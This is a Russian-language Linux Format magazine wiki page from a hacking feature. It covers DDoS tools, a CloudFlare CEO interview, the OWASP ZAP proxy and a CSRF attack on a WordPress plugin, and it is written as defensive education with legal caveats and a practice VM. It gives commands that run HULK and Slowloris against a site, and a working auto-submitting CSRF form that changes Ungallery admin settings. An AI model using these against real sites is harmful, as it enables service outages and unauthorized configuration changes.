По­сколь­ку боль­шин­ст­во со­вре­мен­ных сер­ве­ров име­ют вы­со­кую про­пу­ск­ную спо­соб­ность, мощ­ные CPU и боль­шое ко­ли­че­­ст­во па­мя­ти, как пра­ви­ло, их не очень-то пе­ре­гру­зишь толь­ко с по­мо­щью до­машнего ши­ро­ко­по­лосно­го со­еди­не­ния. Что­бы до­бить­ся это­го, ата­кую­щие час­то ис­поль­зу­ют несколь­ко ком­пь­ю­те­ров для од­но­вре­мен­ной ата­ки на цель. В слу­чае хак­ти­ви­стов это де­ла­ется груп­пой со­чув­ст­вую­щих; в слу­чае пре­ступ­ных эле­мен­тов, это час­то де­ла­ет­ся ботнета­ми.
 +
 +
Есть мно­же­ст­во ин­ст­ру­мен­тов, спо­соб­ных по­мочь вам про­вес­ти тест на DDOS. Лю­би­мей­ший ин­ст­ру­мент Anonimous – High Orbit Ion Cannon, по­сколь­ку он прост для неис­ку­шен­ных поль­зо­ва­те­лей. Од­на­ко мы рас­смот­рим hulk. Его мож­но най­ти на http://packetstormsecurity.com/files/112856/HULK-Http-Unbearable-Load-King.html. Что­бы за­пустить hulk, про­сто рас­па­куй­те его и ско­ман­дуй­те:
 +
 +
unzip hulk zip
 +
 +
python hulk py http://<site>
 +
 +
Что­бы про­тес­ти­ро­вать его, мож­но ско­рень­ко на­стро­ить сер­вер HTTP с по­мо­щью
 +
 +
python -m SimpleHTTPServer
 +
 +
и за­тем ата­ко­вать его ко­ман­дой
 +
 +
python hulk.py http://<ip address>:8000
 +
 +
Мы об­на­ру­жи­ли, что это вполне эф­фек­тив­но об­ру­ши­ва­ет сайт. Но есть оче­вид­ная разница ме­ж­ду об­ру­шением неболь­шо­го web-сер­ве­ра на Python и вы­би­вание со­лид­но­го сер­ве­ра Apache в ре­жим оф­флайн. Hulk про­сто пы­та­ет­ся за­ки­дать ма­ши­ну за­про­са­ми. Те­перь мы рас­смот­рим дру­гой ин­ст­ру­мент, бо­лее ра­зум­ный. Slowlories (он есть на http://ha.ckers.org/slowloris/ или на DVD) ра­бо­та­ет, пы­та­ясь удер­жать как мож­но боль­ше со­единений от­кры­ты­ми, с це­лью ис­чер­пать ре­сур­сы сер­ве­ра. Это тре­бу­ет на­мно­го мень­шей по­ло­сы ве­щания, чем ата­ка гру­бой си­лы в сти­ле hulk, од­на­ко не все сер­вер­ное ПО яв­ля­ет­ся уяз­ви­мым. Что­бы за­пустить slowlories, про­сто сде­лай­те файл ис­пол­няе­мым и за­тем вы­зо­ви­те его с по­мо­щью:
 +
 +
chmode a+x slowlories.pl
 +
 +
./slowris.pl -dns <site>
 +
 +
И сно­ва наш сер­вер на Python сдал­ся мгно­вен­но.
 +
 +
===За­щи­щай­тесь===
 +
 +
За­щи­та от DDoS-ата­ки за­клю­ча­ет­ся в миними­за­ции ущер­ба от ка­ж­до­го вре­до­носно­го па­ке­та. Дру­ги­ми сло­ва­ми, на­до оста­но­вить как мож­но боль­ше та­ких па­ке­тов, как толь­ко они поя­вят­ся в ва­шей се­ти. Для это­го ну­жен бранд­мау­эр и умение его на­стро­ить, что­бы он оп­ре­де­лял и от­бра­сы­вал со­от­вет­ст­вую­щие па­ке­ты.
 +
 +
Как имен­но вы это сде­лае­те, за­ви­сит от бранд­мау­эра, и под­хо­дя­щие пра­ви­ла бу­дут по­сто­ян­но ме­нять­ся в веч­ной охо­те кош­ки за мы­шью, когда ата­кую­щий бу­дет ме­нять свои па­ке­ты, что­бы обой­ти ваш бранд­мау­эр. Од­на­ко мы ска­жем вот что: уз­най­те, как за­щи­тить се­бя, до то­го, как под­вергнетесь ата­ке! Про­буй­те все­воз­мож­ные пред­ла­гае­мые ин­ст­ру­мен­ты DDoS и прак­ти­куй­тесь в ис­кусст­ве их бло­ки­ро­вать, по­то­му что вряд ли вам по­нра­вит­ся учить­ся это­му по­сле то­го, как ваш сайт рухнет. Ра­бо­та с ин­ст­ру­мен­та­ми DDoS – так­же от­лич­ный спо­соб уз­нать, как бу­дет се­бя вес­ти ваш сайт под пиковой на­груз­кой.
 +
 +
В по­ряд­ке аль­тер­на­ти­вы, мож­но по­мес­тить свой сер­вер в сеть, спо­соб­ную по­за­бо­тить­ся о нем вме­сто вас. Та­кие про­вай­де­ры, как CloudFlare, по­мес­тят ваш сер­вер за свой бранд­мау­эр (вир­ту­аль­но, вам не нуж­но за­но­во со­еди­нять­ся с сер­ве­ром). А зна­чит, вам не при­дет­ся бес­по­ко­ить­ся о тон­ко­стях на­стой­ки бранд­мау­эра.
 +
 +
> Ло­ри мед­лен­ные [Slow lories] — тип при­ма­тов, оби­та­ю­щих в Юж­ной и Юго-Вос­точ­­ной Азии. Ес­ли хо­ти­те уз­нать, как они вы­гля­дят, про­сто от­крой­те файл Perl в тек­сто­вом ре­дак­то­ре.
 +
 +
<h1>«Ряд крупней­ших из на­блю­дае­мых атак – по су­ти, вы­мо­га­тель­ст­во он­лайн»</h1>
 +
 +
<h2>Из­ра­иль­тяне и па­ле­стин­цы со­глас­ны в од­ном: в вы­бо­ре за­щитника от DDoS-атак. И вот мы встре­ти­лись с Мэ­тью Прин­сом, ру­ко­во­ди­те­лем и со­уч­ре­ди­те­лем CloudFlare, что­бы вы­яснить, как же он пы­та­ет­ся опережать он­лайн-злоумышленников.</h2>
 +
 +
'''Linux Format:''' Вы за­ме­ча­ли, что гео­гра­фия он­лайн-атак со вре­менем ме­ня­ет­ся?
 +
[[Файл:LXF170.feat_hackleweb.m_fmt.png | right  |thumb|300px|  ]]
 +
'''Мэ­тью Принс''' [Matthew Prince]: Мы с мо­им со­уч­ре­ди­те­лем на­ча­ли ра­бо­тать над про­бле­ма­ми се­те­вой безо­пас­но­сти в 2003 го­ду, за­пустив про­ект Honey Pot. Це­лью бы­ло от­сле­жи­вать он­лай­но­вые мо­шенниче­­ст­ва с кре­дит­ны­ми кар­та­ми, и в пер­вую оче­редь мы от­сле­жи­ва­ли, как спа­ме­ры кра­дут ад­ре­са элек­трон­ной поч­ты с сай­тов. В те вре­ме­на луч­шим спо­со­бом для пло­хих парней сде­лать день­ги он­лайн бы­ло стать спа­ме­ром или тру­дить­ся на ниве спа­ма. Мне ка­жет­ся, эта си­туа­ция ме­ня­ет­ся. Эта сфе­ра все еще весь­ма при­быль­на, но уже не так, как рань­ше. В спа­ме есть од­на ин­те­рес­ная вещь: что­бы их не об­на­ру­жи­ли, спа­ме­ры ста­ли ис­поль­зо­вать ре­сур­сы соз­да­те­лей ви­ру­сов [ком­пь­ю­те­ры, ко­то­рые бы­ли ча­стью ботнета] для сво­их рас­сы­лок. По ме­ре то­го, как с го­да­ми улуч­ша­лись фильт­ры спа­ма и спам ста­но­вил­ся менее при­быль­ным, мы уви­де­ли, как те же са­мые ре­сур­сы ботнета ста­ли ис­поль­зо­вать­ся для ря­да дру­гих атак. Та­ким об­ра­зом, по су­ти мы сей­час име­ем де­ло с той же про­бле­мой, что и в 2003-м: име­ют­ся за­ра­жен­ные ма­ши­ны, и они ис­поль­зу­ют­ся, что­бы соз­дать еще боль­шие про­бле­мы. В 2003-м это был спам, в 2012-м стал DDoS. Од­на­ко ре­сур­сы, ко­то­ры­ми он­лайн-зло­умыш­ленники поль­зу­ют­ся для за­пуска ата­ки, по­следние 10 лет оста­ют­ся все те­ми же.
 +
 +
'''LXF''': В чем са­мая боль­шая уг­ро­за для он­лайн-бизнеса?
 +
 +
'''МП''': Мне ка­жет­ся, очень силь­но вы­росло как ко­ли­че­­ст­во атак [DDoS], так и их раз­мер. Мы на­блю­да­ем ре­гу­ляр­ные ата­ки, пре­вы­шаю­щие 50 или 60 ГБ/с, ко­то­рым под­вер­га­ет­ся на­ша сеть. У нас круп­ная и мощ­ная сеть, и мы справ­ля­ем­ся с ата­ка­ми в несколь­ко со­тен ГБ, но, знае­те ли, 50 или 60 ги­гов – это боль­ше, чем мо­гут от­пра­вить са­мые круп­ные хостинг-про­вай­де­ры. Я не знаю ни од­но­го бан­ка с по­доб­ным тра­фи­ком. С этим труд­но спра­вить­ся, по­то­му что немно­го най­дет­ся ре­сур­сов обо­ру­до­вания, ко­то­рые мож­но бы­ло бы за­дей­ст­во­вать, что­бы пре­кра­тить та­кую ата­ку. Не­важ­но, круп­ное у вас пред­при­ятие или мел­кое, за­ра­ба­ты­ваю­щее он­лайн, я по­ла­гаю, что мас­штаб и объ­ем ныне на­блю­дае­мых DDoS-атак вну­ша­ет серь­ез­ные опа­сения для мно­же­ст­ва пред­при­ятий.
 +
 +
'''LXF''': Вы ис­сле­дуе­те при­чи­ны этих атак?
 +
 +
'''МП''': Мы не осо­бо тра­тим вре­мя на вы­яснение при­чин и то­го, кто за этим сто­ит, хо­тя, конеч­но, по­лу­ча­ем ин­фор­ма­цию от кли­ен­тов на­счет то­го, что, по их мнению, по­слу­жи­ло мо­ти­вом; и мо­ти­вы очень раз­ные. Мы ви­де­ли ата­ки по ком­мер­че­­ским со­об­ра­жениям. Бы­ва­ют слу­чаи, когда ата­ка за­ка­за­на кон­ку­рен­том. Ряд крупней­ших из на­блю­да­емых атак – по су­ти, вы­мо­га­тель­ст­во он­лайн, когда некий зло­умыш­ленник от­прав­ля­ет элек­трон­ной по­чтой на среднего (обыч­но) раз­ме­ра сайт e-commerce со­об­щение при­мер­но та­ко­го со­дер­жания: «ли­бо вы пла­ти­те нам эн­ную сум­му, ли­бо мы пе­ре­кры­ва­ем вам доступ в Ин­тернет». Ко­ли­че­­ст­во по­доб­ных атак рас­тет по­сто­ян­но.
 +
 +
К нам об­ра­щал­ся че­чен­ский но­во­ст­ной сайт, ата­ко­ван­ный россий­ски­ми пра­ви­тель­ст­вен­ны­ми уч­ре­ж­дения­ми или кем-то, со­чув­ст­вую­щим россий­ским пра­ви­тель­ст­вен­ным уч­ре­ж­дениям. У нас есть кли­ен­ты с обе­их сто­рон ближнево­сточ­но­го кон­флик­та. На­ши­ми услу­га­ми поль­зу­ют­ся из­ра­иль­ские, пале­стин­ские и еги­пет­ские сай­ты – на мно­гие из них со­вер­ша­лись мас­штаб­ные ата­ки, и все с по­ли­ти­че­­ской по­до­п­ле­кой. WikiLeaks так­же поль­зо­ва­лась [CloudFlare], для пре­кра­щения мас­штаб­ных атак от­ка­за в об­слу­жи­вании. Хо­тя ата­ки хак­ти­ви­стов наи­бо­лее по­пу­ляр­ны в прес­се, в основ­ном они не са­мые круп­но­мас­штаб­ные. Вы­яс­ня­ет­ся, что са­мые круп­ные ата­ки име­ют оп­ре­де­лен­ную пра­ви­тель­ст­вен­ную под­держ­ку – вот те бы­ва­ют дей­ст­ви­тель­но круп­ны­ми. Или те, что яв­ля­ют­ся он­лайн-вы­мо­га­тель­ст­вом. Мы ви­де­ли ата­ки на сай­ты эс­корт-услуг, когда ряд тру­жениц сек­са ре­шил из­ба­вить­ся от су­тенеров, а су­тенеры ста­ли их пре­сле­до­вать. В прин­ци­пе, лю­бой, у ко­го есть на вас зуб и ре­сур­сы, что­бы доста­вить вам непри­ят­но­сти, мо­жет в на­ше вре­мя ор­ганизо­вать до­воль­но со­лид­ную ата­ку, спо­соб­ную вы­ши­бить оф­флайн да­же круп­ную ор­ганиза­цию. Пол­ную вер­сию ин­тер­вью см. на www.tuxradar.com/content/mpivew. |

Текущая версия на 12:25, 15 ноября 2018

Подписка на печатную версию
Весь 2015 год (12 номеров)
Первое полугодие (6 номеров)
Второе полугодие (6 номеров)
Подписка на электронную версию
Весь 2015 год (12 номеров)
Первое полугодие (6 номеров)
Второе полугодие (6 номеров)
Подшивки старых номеров журнала (печатные версии)
Весь 2014 год (12 номеров)
Первое полугодие (6 номеров)
Второе полугодие (6 номеров)

Содержание

[править] ВЗЛОМ СЕТИ

Во­ров­ст­во па­ро­лей >>, Взлом WordPress >> Экс­плуа­та­ция уяз­ви­мо­стей » Ата­ки DDoS.

При­сое­ди­ним­ся к Бе­ну Эве­рар­ду в его пу­те­ше­ст­вии на тем­ную сто­ро­ну*.

Ис­кусст­во мани­пулиро­вать чужим ком­пьютером, что­бы де­лать все что угод­но без раз­ре­шения... одни на­зы­ва­ют его ха­кер­ст­вом, д­ругие — взло­мом или тес­ти­ро­ванием воз­мож­но­сти проник­но­вения в сис­те­му. Пра­ви­тель­ст­ва, бизнес­ме­ны, дис­си­ден­ты, ску­чаю­щие ком­пь­ю­тер­ные про­фес­сио­на­лы и пре­ступники ата­ку­ют друг дру­га — и обыч­ных поль­зо­ва­те­лей — еже­днев­но.

Ха­кер­ст­во бы­ва­ет раз­ное, но мы рас­смот­рим здесь се­те­вые ата­ки, по­сколь­ку имен­но они боль­ше все­го за­тра­ги­ва­ют обыч­ных лю­дей. Не­ко­то­рые из этих атак, на­при­мер, мсти­тель­ные ата­ки груп­пы Anonymous, ста­но­ви­лись ши­ро­ко из­вест­ны, по­сколь­ку пе­ре­во­ди­ли сай­ты в ре­жим оф­флайн или до­бав­ля­ли граф­фи­ти на глав­ные страницы сай­тов. О дру­гих со­об­ща­ют очень ред­ко, хо­тя они про­ис­хо­дят что ни день, при­но­ся пре­ступникам со­лид­ные сум­мы.

Ес­ли у вас есть сайт, вы, без со­мнения, на­блю­да­ли мно­же­ст­во по­пы­ток ата­ки по за­пи­сям в сво­ем жур­на­ле. Бу­ду­чи поль­зо­ва­те­лем, вы, ско­рее все­го, на­блю­да­ли ре­зуль­та­ты этих атак в ви­де спа­ма (помните эти зав­ле­ка­тель­ные ссыл­ки?); а мо­жет, вам силь­но не по­вез­ло, и вы ли­ши­лись некой лич­ной ин­фор­ма­ции, когда был ата­ко­ван сер­вер.

В лю­бом слу­чае, мы все жи­вем в тес­но связан­ном ми­ре, в ко­то­ром все боль­ше и боль­ше на­ших цен­но­стей хра­нят­ся в циф­ро­вых хранили­щах, а не в фи­зи­че­­ских сей­фах. Ос­та­ет­ся или про­сто устроиться по­удобнее и ждать, когда пра­ви­тель­ст­во и про­вай­де­ры нас за­щи­тят, или са­мим осоз­нать все воз­мож­ные уг­ро­зы и за­нять­ся са­мо­за­щи­той.

Мы по­ка­жем вам не­ко­то­рые ха­кер­ские ин­ст­ру­мен­ты из­нут­ри, по­то­му что за­щи­тить се­бя мож­но, толь­ко разобравшись, от че­го за­щи­щаешь­ся.

Мы рас­смот­рим че­ты­ре раз­ных ти­па атак – от­каз в об­слу­жи­вании (DDoS), «по­сре­дник [man-in-the-middle]», меж­сай­то­вый скрип­тинг и ата­ки внедрения – и по­ка­жем, как имен­но их ис­поль­зу­ют пре­ступники в на­ше вре­мя и что на­до сде­лать, что­бы вы са­ми или ваш сайт не па­ли их жерт­ва­ми.

[править] *Пра­во­вое обосно­вание

В раз­ных стра­нах за­ко­ны о ха­кер­ст­ве раз­ные, и мы не мо­жем дать кон­крет­ных юри­ди­че­­ских со­ве­тов. Но бу­дет обосно­ван­но зая­вить, что при­менение лю­бой из опи­сы­вае­мых здесь тех­но­ло­гий к сай­ту без раз­ре­шения от его вла­дель­ца на та­ко­вое во мно­гих стра­нах яв­ля­ет­ся неза­кон­ным.

Ес­ли вы ра­бо­тае­те в ком­пании или в ор­ганиза­ции, у вас долж­но быть пись­мен­ное раз­ре­шение от со­от­вет­ст­вую­щих долж­но­ст­ных лиц на про­ве­дение ука­зан­ных ме­ро­прия­тий. Так вы за­страхуе­те се­бя от воз­мож­ных про­блем при недо­понимании про­ис­хо­дя­ще­го.

«Мы по­ка­жем вам ха­кер­ские ин­ст­ру­мен­ты из­нут­ри.»

[править] СЕ­ТИ

[править] Взлом WordPress

Ата­ка на web-при­ло­жение.

По ме­ре роста мо­щи HTML5 и ско­ро­сти JavaScript, web-при­ло­жения рас­про­стра­ня­ют­ся все ши­ре. Ubuntu и неко­то­рые дру­гие ди­ст­ри­бу­ти­вы об­ра­ща­ют­ся с ними, как с при­ло­жения­ми пер­вого ряда, а Mozilla соз­да­ет смарт­фон, строя­щий все свои функ­ции имен­но на них. Од­на­ко вме­сте с ними на пе­редний план вы­хо­дят уяз­ви­мо­сти, ко­то­рых рань­ше не бы­ло.

Мы рас­смот­рим данную об­ласть, ис­поль­зуя в ка­че­­ст­ве при­ме­ра WordPress – не по­то­му, что это пло­хое при­ло­жение, а по­то­му, что его по­пу­ляр­ность и спо­соб­ность к рас­ши­рению сде­ла­ли его ми­ше­нью для атак. Ни од­на из опи­сы­вае­мых здесь атак не уникаль­на для этой плат­фор­мы, и они ха­рак­тер­ны для мно­гих web-при­ло­жений, вне за­ви­си­мо­сти от то­го, построены ли они на CMS.

По­сколь­ку мы пред­по­чи­та­ем по­ка­зать, как ра­бо­та­ет ата­ка, а не по­яс­нять ее, мы соз­да­ли вир­ту­аль­ную ма­ши­ну (ВМ), на ко­то­рой ра­бо­та­ет уяз­ви­мая вер­сия WordPress. Она име­ет­ся на дис­ке, и ее мож­но ска­чать с www.linuxformat.com/content/downloads.

Об­за­ве­дясь ею, сле­дуй­те ниже­при­ве­ден­но­му по­ша­го­во­му ру­ко­во­дству по уста­нов­ке. Вам по­на­до­бит­ся VirtualBox; в осталь­ном она ра­бо­та­ет поч­ти на лю­бом ди­ст­ри­бу­ти­ве. Мы ис­поль­зо­ва­ли фор­мат бло­гов в WordPress, что­бы по­ка­зать, как ее взло­мать, так что за­пускай­те ее и при­сту­пай­те.

Как толь­ко вы об­на­ру­жи­те ата­ку, блог так­же со­об­щит вам в под­роб­но­стях, как за­щи­тить­ся, что­бы про­ве­рить, уда­ст­ся ли за­де­лать ды­ры в сис­теме безо­пас­но­сти, пре­ж­де чем дви­гать­ся даль­ше.

[править] За­щи­ти­те се­бя

Ес­ли вы ра­бо­тае­те в web-при­ло­жении, вы про­сто обя­за­ны осоз­на­вать все рис­ки. Уяз­ви­мо­сти мо­гут зай­ти даль­ше са­мо­го при­ло­жения, по­сколь­ку ата­кую­ще­му, воз­мож­но, уда­ст­ся за­хва­тить кон­троль над сер­ве­ром. Ес­ли вы ис­поль­зуе­те го­то­вое ПО (ти­па WordPress), непло­хо за­помнить та­кое пра­ви­ло:

Intrusion Detection Systems [Сис­те­ма Об­на­ру­жения Втор­жения] и Intrusion Prevention Systems [Сис­те­мы Пре­дот­вра­щения Втор­жения] (IDSs и IPSs) по­мо­га­ют снизить ущерб, при­чи­няе­мый ата­кую­щим, од­на­ко не сто­ит счи­тать их эта­ки­ми се­реб­ря­ны­ми пу­ля­ми, спо­соб­ны­ми раз­ре­шить все ва­ши про­бле­мы с безо­пас­но­стью. И не менее важ­но, что­бы у вас бы­ли уста­нов­ле­ны и долж­ным об­ра­зом на­строе­ны SELinux или AppArmour.

Ес­ли вы ис­поль­зуе­те спе­циа­ли­зи­ро­ван­ное web-при­ло­жение, вы долж­ны быть уве­ре­ны, что вам зна­ко­мы раз­ные тех­но­ло­гии, ис­поль­зуе­мые ата­кую­щи­ми. От­лич­ный стар­то­вый пункт – сайт OWASP (Open Source Web Applications Security Project – Про­ект безо­пас­но­сти web-при­ло­жений с от­кры­тым ко­дом), https://www.owasp.org. Ес­ли на ва­шем сай­те хра­нят­ся важ­ные дан­ные, сто­ит по­со­ве­то­вать­ся со спе­циа­ли­стом по по­во­ду обес­пе­чения безо­пас­но­сти их хранения.

[править] По­иск уяз­ви­мо­стей

Как об­на­ру­жить и ис­поль­зо­вать сла­бую сто­ро­ну ва­ше­го сай­та.

Взгля­нув на ВМ LXF Vulnerable Machine, вы мо­же­те лег­ко прий­ти к вы­во­ду, что ис­поль­зо­вать уяз­ви­мо­сти очень лег­ко, зная, где они есть, а вот как их най­ти? Что­бы от­ве­тить на этот во­прос, мы по­ста­ви­ли се­бе за­да­чу най­ти и ис­поль­зо­вать уяз­ви­мо­сти на на­шем сай­те.

Во-пер­вых, мы уста­но­ви­ли ата­кую­щий про­кси. Этот ин­ст­ру­мент пе­ре­хва­ты­ва­ет HTTP-за­про­сы ва­ше­го брау­зе­ра и ис­поль­зу­ет их для соз­дания кар­ты сай­та, ко­то­рый вы про­смат­ри­вае­те. С его по­мо­щью вы мо­же­те по­нять, что же имен­но вы ата­куе­те, да­же ес­ли у вас нет досту­па к ис­ход­но­му ко­ду. Так­же он да­ет вам пред­став­ление об ин­фор­ма­ции, пе­ре­да­вае­мой ме­ж­ду сер­ве­ром и брау­зе­ром.

Мы вы­бра­ли OWASP ZAP (он име­ет­ся на http://code.google.com/p/zaproxy и на DVD) – что­бы при­менить его, про­сто рас­па­куй­те его и за­пусти­те (уста­нав­ли­вать не на­до) с по­мо­щью:

tar zxvf ZAP_2.0.0_Linux.tar.gz

cd ZAP_2.0.0

./zap.sh

Вер­сии 2.0.0 тре­бу­ет­ся Java 1.7 или вы­ше. Ес­ли у вас бо­лее ран­няя вер­сия (как по умол­чанию в Ubuntu 12.04), вы мо­же­те ис­поль­зо­вать или ZAP вер­сии 1.4.1, или са­мо­стоя­тель­но най­ти вер­сию Java по­но­вее. На на­шей ма­шине с Precise Pangolin мы уста­но­ви­ли па­кет openjdk-7-jre и из­менили конеч­ную стро­ку с zap.sh на

exec /usr/lib/jvm/java-7-openjdk-i386/bin/java ${JMEM}-XX:PermSize=256M -jar “{BASEDIR}/zap.jar” org.zaproxy.zap.ZAP $*

Эта ко­ман­да за­пустит ра­бо­ту про­кси на пор­те 8080, и вам нуж­но на­стро­ить свой брау­зер, что­бы он про­пускал свои дан­ные че­рез него. В Firefox это де­ла­ет­ся в Edit > Preferences, за­тем на­до пе­рей­ти в Advanced > Network > Settings и из­менить пе­ре­клю­ча­тель на Manual Proxy Configuration с HTTP Proxy в ка­че­­ст­ве localhost и Port 8080.

Те­перь вы долж­ны уви­деть од­ну или несколь­ко за­пи­сей Zap для ка­ж­дой страницы, на ко­то­рую вы за­хо­ди­те. Zap так­же по­пы­та­ет­ся по­мочь вам, от­ме­чая все пунк­ты, ко­то­рые он со­чтет уяз­ви­мы­ми, цвет­ным флаж­ком – от жел­то­го до крас­но­го, в за­ви­си­мо­сти от серь­ез­но­сти про­бле­мы (по его мнению). Флаж­ки го­лу­бо­го цве­та про­сто от­ме­ча­ют ин­фор­ма­цию. Од­на­ко эту гра­да­цию на­до принимать не без скеп­си­са. Мно­гие из от­ме­чен­ных флаж­ка­ми страниц во­все не яв­ля­ют­ся уяз­ви­мы­ми, а мно­гие, на­обо­рот, про­пуска­ют­ся (это обыч­ная про­бле­ма со все­ми ав­то­ма­ти­че­­ски­­ми сканера­ми безо­пас­но­сти, ко­то­рые мы встре­ча­ли).

На­стро­ив про­грам­му, мы мо­жем на­чать ата­ку. Пер­вая фа­за лю­бо­го тес­та на проник­но­вение – это сбор ин­фор­ма­ции. В ZAP есть ин­ст­ру­мен­ты для ав­то­ма­ти­че­­ско­­го сканиро­вания сай­та, но мы пред­по­чи­та­ем на­чать с руч­но­го сканиро­вания. Это оз­на­ча­ет про­смотр сай­та че­рез ваш web-брау­зер, в про­цес­се ко­то­ро­го ZAP со­став­ля­ет ка­та­лог. Чем под­робнее вы рас­смат­ри­вае­те сайт, тем боль­ше ин­фор­ма­ции вы по­лу­чи­те.

Про­дви­га­ясь по при­ло­жению, мы ищем век­то­ры ата­ки. В основ­ном это спо­соб пе­ре­да­чи ин­фор­ма­ции на сайт. В HTTP это про­ис­хо­дит в двух ви­дах: па­ра­мет­ры, пе­ре­да­вае­мые по за­про­сам GET (это би­ты, ко­то­рые сле­ду­ют за во­про­си­тель­ным зна­ком в URL), и за­про­сы POST (их труднее уви­деть без та­ко­го про­кси, как ZAP, но они пе­ре­чис­ле­ны во вклад­ке Requests). Лю­бые их них мож­но из­менить так, что­бы они от­прав­ля­ли лю­бую нуж­ную нам ин­фор­ма­цию. Как вы ви­ди­те на при­ме­ре атак на блог WordPress, хо­ро­шо про­ду­ман­ные и ор­ганизо­ван­ные вре­до­носные дан­ные мо­гут иногда про­скольз­нуть на сайт, ес­ли он не про­ве­ря­ет вхо­дя­щие дан­ные долж­ным об­ра­зом.

По­лу­чив пол­ное пред­став­ление о сво­ей жерт­ве, мож­но при­сту­пать к по­ис­ку мес­та для на­шей ата­ки. Да­же на та­ком про­стом сай­те WordPress, как наш, есть сотни век­то­ров, ко­то­рые мы мо­жем рас­смот­реть, но боль­шин­ст­во не бу­дут уяз­ви­мы. Ча­стью ис­кусст­ва взло­ма сай­тов яв­ля­ет­ся осоз­нание то­го, на ка­ких век­то­рах сто­ит скон­цен­три­ро­вать­ся. На­при­мер, мож­но бы по­про­бо­вать ата­ко­вать па­ра­метр page_id, имею­щий­ся на боль­шин­ст­ве страниц, но на WordPress он на­столь­ко ва­жен, что явно под­вер­гал­ся тща­тельней­ше­му рас­смот­рению. Мо­жет, он и уяз­вим, но ско­рее все­го сла­дить с ним не так-то про­сто. Луч­ше по­ис­кать сла­бо­сти в менее ис­поль­зуе­мых об­лас­тях. Ис­то­ри­че­­ски сло­жи­лось, что до­полнения всегда бы­ли ку­да бо­лее пло­до­твор­ной поч­вой для ата­кую­ще­го, чем основ­ное при­ло­жение.

[править] Под­дел­ка меж­сай­то­вых за­про­сов

Мы об­ра­ти­ли внимание, что ZAP пе­ре­чис­лил ряд страниц, уяз­ви­мых для под­дел­ки меж­сай­то­вых за­про­сов (Cross Site Request Forgery, CSRF), во вклад­ке Alerts. Это спо­соб ата­ки, при ко­то­ром вы об­ман­ным пу­тем за­став­ляе­те web-при­ло­жение при­нять вхо­дя­щие дан­ные, соз­да­вая дру­гой сайт, ко­то­рый ими­ти­ру­ет HTTP-за­прос web-при­ло­жения. Ес­ли по­сле это­го ау­тен­ти­фи­ци­ро­ван­ный поль­зо­ва­тель от­кро­ет ваш вре­до­носный сайт, его брау­зер от­пра­вит его ау­тен­ти­фи­ка­ци­он­ные cookie, бла­го­да­ря ко­то­рым ваш вре­до­носный за­прос HTTP бу­дет вы­полнен поль­зо­ва­те­лем (не пе­ре­жи­вай­те, ес­ли это все по­ка­за­лось вам тем­ным: все станет яс­но по ме­ре то­го, как мы бу­дем раз­би­рать суть ата­ки).

Обыч­но WordPress оста­нав­ли­ва­ет этот вид ата­ки с по­мо­щью “nonce”. Это слу­чай­ным об­ра­зом вы­бран­ное чис­ло, на­прав­ляе­мое в брау­зер при соз­дании фор­мы. Ес­ли с дан­ны­ми фор­мы на­зад на сер­вер пе­ре­да­ет­ся то же чис­ло, сер­вер зна­ет, что фор­ма пред­став­ле­на поль­зо­ва­те­лем на сай­те. Ес­ли нет – сер­вер понима­ет, что фор­ма пред­став­ле­на дру­гим сай­том, и про­сто сбра­сы­ва­ет дан­ные. Од­на­ко мы за­ме­ти­ли, что на од­ной из страниц нет nonce – в про­стом за­про­се HTTP POST, раз­ре­шен­ном с по­мо­щью cookie. А зна­чит, лю­бая фор­ма HTML (неза­ви­си­мо от то­го, на ка­ком сай­те она бы­ла) мо­жет пред­ста­вить дан­ные этой час­ти при­ло­жения. Вы­гля­де­ло иде­аль­ной це­лью для CSRF-ата­ки. Об­су­ж­дае­мая страница бы­ла на­строй­ка­ми для Ungallery (за­прос см. на рис. 1).

Хит­рость те­перь за­клю­ча­лась в соз­дании но­вой страницы, ко­то­рая бы генери­ро­ва­ла иден­тич­ный за­прос HTTP. Это был за­прос POST, и имен­но его про­ще все­го под­де­лать с по­мо­щью фор­мы HTML. Мы соз­да­ли но­вый файл, со­дер­жа­щий сле­дую­щее:

<html>

<head>

<title>Test site for csrf in Ungallery</title>

</head>

<body>

<form action=”http://site-url/wp-admin/options-general.php?page=ungallerysettings” method=”POST”>

<input type=”hidden” name=”mt_submit_hidden” value=”Y”>

<input type=”hidden” name=”images_path” value=”%2Froot%2Fimages%2F”>

<input type=”hidden” name=”URI” value=”http%3A%2F%2F 192.168.133.143%2F”>

<input type=”hidden” name=”gallery” value=”%3Fpage_id%3D9”>

<input type=”hidden” name=”cache_dir” value=”%2Fvar%2F www%2Fwordpress%2Fwp-content%2Fcache%2F”>

<input type=”hidden” name=”columns” value=”5”>

<input type=”hidden” name=”thumbnail” value=”190”>

<input type=”hidden” name=”browse_view” value=”440”>

<input type=”hidden” name=”hidden” value=”hidden”>

<input type=”hidden” name=”gallery2” value=””>

<input type=”hidden” name=”images2_path” value=””>

<input type=”hidden” name=”gallery3” value=””>

<input type=”hidden” name=”images3_path” value=””>

<input type=”hidden” name=”gallery4” value=””>

<input type=”hidden” name=”images4_path” value=””>

<input type=”hidden” name=”gallery5” value=””>

<input type=”hidden” name=”images5_path” value=””>

<input type=”hidden” name=”gallery6” value=””>

<input type=”hidden” name=”images6_path” value=””>

<input type=”hidden” name=”Submit” value=”Save+Changes”>

</form>

<script>document.forms[0].submit();</script>

</body>

</head>

Как вы мо­же­те ви­деть, это но­вая фор­ма HTML, ко­то­рая пред­став­ля­ет дан­ные на страницу на­стро­ек Ungallery. По­сколь­ку здесь нет nonce, Ungallery ав­то­ма­ти­че­­ски при­мет его, ес­ли бу­дет иметь со­от­вет­ст­вую­щий cookie. Ес­ли нек­то с пра­ва­ми ад­минист­ра­то­ра от­кро­ет файл, он мо­жет из­менить на­строй­ки. При на­стоя­щей ата­ке это мож­но сде­лать, от­пра­вив по элек­трон­ной поч­те зав­ле­ка­тель­ную ссыл­ку ад­минист­ра­то­ру или оста­вив где-нибудь в об­ще­ст­вен­ном мес­те флэш­ку USB со скрип­том autorun. Конеч­но, это не са­мая вре­до­носная ата­ка, но ею мож­но восполь­зо­вать­ся, что­бы сде­лать от­кры­ты­ми изо­бра­жения, ко­то­рые долж­ны бы­ли хранит­ся в сек­ре­те.

Ис­то­рия на этом, конеч­но же, не за­кан­чи­ва­ет­ся. Мы в Linux Format при­дер­жи­ва­ем­ся по­ли­ти­ки от­вет­ст­вен­но­го раз­гла­шения. Это оз­на­ча­ет, что хо­тя мы и ра­ды пуб­ли­ко­вать под­роб­ную ин­фор­ма­цию об уяз­ви­мо­стях, все же сна­ча­ла мы обя­за­тель­но из­ве­ща­ем раз­ра­бот­чи­ка.
